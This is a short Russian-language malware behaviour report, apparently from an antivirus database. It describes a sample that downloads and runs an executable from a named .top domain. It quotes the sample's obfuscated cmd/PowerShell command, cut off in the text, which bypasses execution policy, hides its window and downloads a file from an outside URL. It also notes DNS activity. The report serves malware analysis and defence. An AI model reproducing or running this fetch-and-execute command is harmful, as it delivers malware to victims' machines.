Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "powEr^Sh^e^l^L^.E^xe^ -exEC^UTi^OnP^o^l^iCy^ ^B^yp^a^s^S -^NO^p^r^OFi^lE^ -^w^i^n^doWsty^Le Hi^dden^ (nEw-ob^jECT ^Syst^em.n^e^T.^wE^BC^l^Ie^NT^).^Dow^N^LO^AD^F^i^lE('http://w...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "powEr^Sh^e^l^L^.E^xe^ -exEC^UTi^OnP^o^l^iCy^ ^B^yp^a^s^S -^NO^p^r^OFi^lE^ -^w^i^n^doWsty^Le Hi^dden^ (nEw-ob^jECT ^Syst^em.n^e^T.^wE^BC^l^Ie^NT^).^Dow^N^LO^AD^F^i^lE('http://w...' (со скрытым окном)
